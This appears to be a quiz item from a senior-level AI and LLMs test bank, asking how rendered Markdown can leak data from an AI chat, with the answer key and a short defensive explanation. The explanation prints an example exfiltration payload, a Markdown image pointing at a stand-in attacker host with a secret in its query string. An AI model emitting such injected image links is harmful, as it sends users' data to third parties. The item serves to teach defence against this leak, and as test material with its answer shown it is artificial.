AI and LLMs · Senior · Question 24 of 75

How can rendered Markdown leak data from an AI chat?

1Markdown files are sent to the model provider twice
2An injected image URL with data in its query string is fetched
3Markdown makes the chat history public on the internet

Show the answer

Correct answer: An injected image URL with data in its query string is fetched

Explanation

![x](https://evil.example/?q=SECRET) makes the browser request the attacker's server. Restrict image domains or disable auto-loading.

Further reading

Test yourself

Take the AI and LLMs · Senior quiz: questions and options are shuffled, and you get a review of your mistakes at the end.